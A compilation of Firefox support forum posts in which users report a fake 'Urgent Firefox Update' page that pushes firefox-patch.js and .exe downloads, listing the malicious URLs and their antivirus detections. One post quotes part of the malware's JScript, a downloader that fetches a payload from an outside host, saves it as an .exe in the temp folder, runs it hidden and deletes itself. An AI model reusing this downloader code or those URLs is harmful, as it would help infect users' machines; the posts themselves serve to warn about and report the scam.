Diễn đàn hỗ trợ Firefox

I keep getting a screen popping up that says "Urgent Firefox Update". My protection software is blocking it, saying it's a Trojan. When I go to Mozilla, it says my Firefox is up to date. Is there an Urget Update or not?

Couldn't open original download ("Blocked Publisher" notification). This morning, I received a second notification from a different URL. Smells like a malware scam to me.

got a screen popping up saying there is an urgent firefox update and a button to download now. the patch window opens on top of it... firefox-patch.js which is a javascript file from : https//yiomolibertyreserve.org it asks if i want to save it. https://yiomolibertyreserve.org/7571196957168/a12d822d5bffd48d6ca7139f4bc0ef4c.html (in address bar) is this legit? do i need to save it or what??

Many people seem to be reporting recently that they are getting an orange fake "Urgent Firefox Update" screen popping up and then a download box for firefox patch.exe or such. It is my impression that this may be a security flaw.

It tends to happen when I have several windows open with Facebook and newssites, and it happens very quickly so I can't be 100% sure what happens, but it is my impression that a new tab is created with the orange screen. It seems this happens without my clicking on anything, I may be just sitting there reading and suddenly this happens. I wonder if it is an exploit emanating from ads on these newssites that takes control of Firefox and gets it to make the new tab. If so this is very disturbing because I have my Firefox on quite secure settings, my Java is Never Activate, most of my plug-ins including Flash are Ask to Activate and I rarely do need to activate it. In addition, I am careful which websites I go to. I have Firefox up to date and on automatic update. Every time I start my computer I make sure Kaspersky has updated before I start browsing.

The exploit has happened 3 times in the past week including both yesterday and today. The first time, even though I did not click on the install dialog, Kaspersky detected a Dangerous Object being downloaded and quarantined it instantly. I then had Kaspersky delete it. It had downloaded to the AppData Local Temp folder. The second and third time, nothing happened immediately so I had time to look. I closed Firefox and it seemed that prevented those instances from downloading, as Kaspersky did not detect anything either instantly or after Full Scan.

I am wondering if this is a security flaw in Firefox and if I need to switch to Chrome. Any help would be appreciated In the meantime as I much prefer Firefox. I will limit my browsing to the most essential, avoid clicking on any links in Facebook and try to avoid newssites.

That's the only way I can describe it. I think I am the victim of some sort of malware directed at Firefox.

This afternoon I was browsing in Firefox when I suddenly got a message -- supposedly from Firefox -- that said I must install an update. I wasn't thinking clearly; I should have asked a few questions. But I was involved in my online research and didn't stop to think. After the update (a .js file, for what it's worth) was installed, I noticed that the downloaded file was erased from my Downloads folder.

Suddenly I couldn't access my AT&T email, or my AOL email. For AT&T I kept getting a message saying, "Your connection is not secure! The owner of loginprodx.att.net has configured their website improperly. To protect your information from being stolen, Firefox has not connected to this website." But I can access my AT&T account through several other browsers.

In addition, the page display in Firefox is now pure text. It's impossible to navigate through the pages.

I uninstalled Firefox, and did a system restore, then downloaded the latest version of Firefox but that didn't help.

Please see the two screenshots I'm attaching.

I downloaded the "Troubleshooting Information" at the bottom of this page, but Windows doesn't know how to open it.

I'm running Windows10, and I have plenty of memory, etc.

Help!

Thanks!

This does not happen every time I am on Firefox but is happening more often. I will be on a trusted web site, "says Norton" and all of sudden I am redirected to a full screen orange page that says there is a important Firefox update. It then pops up a little box that says you have chosen to download this update. It then starts to download without me clicking on anything. It puts a virus in my hidden folder "appdata". My virus software catches it and removes it. I am using Norton Internet Security on Windows 10 64 bit home edition. This is a list of the viruses that downloaded in last few days: Norton Auto-Protect caught "firefox-patch.exe, Trogen. Gen.2" this was a bad one, it attached to one of my Windows msi file and another third-party software msi before it was caught and I had to restort my computer to get back the files Norton deleted. Norton Download-Insight caught "lqqcorm.js.part (JS.Downloader)" and "nir+_8hr.js.part (JS.Downloader). I don't know why this keeps happening but could this be a security issue in Firefox? Is there any way to prevent these redirects from happening? I have my Security settings set on in Options but this has no effect on the redirects, I don't know if any reports are being sent to Firefox when this happens. Is there anything that you can do? I love Firefox and don't want to stop using it. I don't have any images because I close Firefox as soon as this happens. Sorry.

When I was already engaged in another open Firefox tab, a new tab suddenly opened stating it was an "urgent" Firefox update and asked me to install software (for which an application widow then opened).

Is this legitimate or a hoax, the sign of some malware, virus, etc?

Naturally I would want to comply if Firefox really did have some new important update. But I could find nothing about this "urgent" update when I searched in Firefox for info. about it. The first thing I did was to go to the "About Firefox" item in the Help menu, saw that the system said "up-to-date," even clicked on "What' New" but saw nothing about an urgent update.

Please advise on how to get to the bottom of why this tab suddenly popped open, to prevent such from happening again.

I have attached a screen shot of the request to save and install this patch for java script. The patch says its a java script file from this web address (https://vohjamacintoshhowto.org). I didn't find anything about a patch from Firefox so I just want to make sure this is a legitimate patch before I did anything with it. If anyone else has installed this patch or knows whether or not it is a legitimate patch I would love to know. Thanks for everyone's time and help.

How do I stop this page from appearing? It seems to be randomly occurring. This is the web address:

• https://aphocpreviewyoursites.net/3232903648882/9bb5f2f39f74dd570ec3d1fe2e75bc9a.html

and it opened up a window to start the download:

• https://aphocpreviewyoursites.net/3232903648882/1473515620172904/firefox-patch.js

Thanks!

Edit by a forum Moderator. I made the links none clickable. They will paste test at your own risk -J99

Multiple problems. I tried to do a "refresh", I clicked "refresh" in the small box that appeared, Firefox closed, but nothing else happened. There was no screen or box that showed info or where I could click "finish" My problems still exist and I would love to undo the "urgent firefox update" that caused the problems. Thanks for your help.

Someone is trying to scam your browser, this page pops up using several advertising windows in legit sites, thought you might like to investigate it, it says you need to upgrade Firefox,

https://ierairosihanari.org/8801281637044/0f0b6cf1aecfe432c462b4883e6b5c34.html

This link keeps popping up for the past several days and I just want to advise Firefox about it. Looks very legit and people may be clicking on it as it looks so realistic until you look at the the ailoo...etc.

https://ailooperfectgaytube.net/6941813823419/2c87ce7d03aca828bb2648722740800e.html

Strongly desired is a 'verification' of programs loaded vs mozilla copy. This to suppliment 'you are on the latest release.' Reasoning is lately when a web page is replaced by 'update firefox' orange screen and a pop-up of 'opening firefox-patch.exe' which wants to save a binary file. But it is not a FF patch. The result could be malware. Months ago I fell for this ploy, or a similar FLASH update and endured problems (ie, svchost.exe running taking 50% of my CPU all the time.)

Might be caused by a rotating 'ad' related, or that FLASH is blocked, or maybe html5 is running. Unknown. I have other notes. PS windows security essentials finds a trojan KIVTER in my temp file soon thereafter. I don't know where it is stored after that.

I have a .js file and .dat file that I snagged when a Urgent Firefox Update message popped up. This urgent update looked very Firefox Official. I noticed the redirect URL and it was: https://queidwhoreslag.net/9751229892037/e9e0075191d8aac19e485315d1b67c26.html. So I saved the .js file on one of my other computers and snagged some other stuff from their API. I have the malware code that is Firefox directed. Just need to know where to send the compressed files. Below is a glimpse at some of the .js code:

url='https://queidwhoreslag.net/10/524.dat';

fname=b.GetSpecialFolder(2)+'\\1e90999f64aa011197bfdf7c1792c61b.exe';
for(var i=1;i<=5;i++)
{

try { c.open('GET', url, false); c.send(null); break; }

    catch(e){

WScript.Sleep(5000); }

}
d.Open;
d.Type = 1;
d.Write(c.ResponseBody);
d.Position=0;
if (b.Fileexists(fname))b.DeleteFile(fname);
d.SaveToFile(fname);
a.run('cmd.exe /c "'+fname+'"',0,false);
var p = WScript.ScriptFullName;
if (b.FileExists(p))b.DeleteFile(p);
WScript.Echo('Update complete.'); 
} catch (e) {}

firefox-patch.exe which is binaryfile (286 KB)

from:https://deequglutenfreeclub.org

would you like to save this file.

save file caccel

SCAM or real,

thought firefox didn't do these, made changes automatically.

Ithink this is a fake/scam

A big orange page with the Firefox logo interrupts whatever I may be doing to notify me of some urgent update. It is EXTREMELY annoying and may cause problems with the page I'm using. Can the notice please be sent to a new tab instead, or even an email to me about it?

When I play games on Firefox it keeps kicking me out saying that I have to update my Firefox. I clicked on save file and it came up as a trojan. I noticed the location coming from Japan. When I put in the website in the browser it said I had the latest version and was up to date.

The entire screen fills with your logo and the statement that it is URGENT to take this down load action but the download is not from you guys it is queidwhoreslag.net - doesn't sound authentic to me. Is this legitimate ? Thank you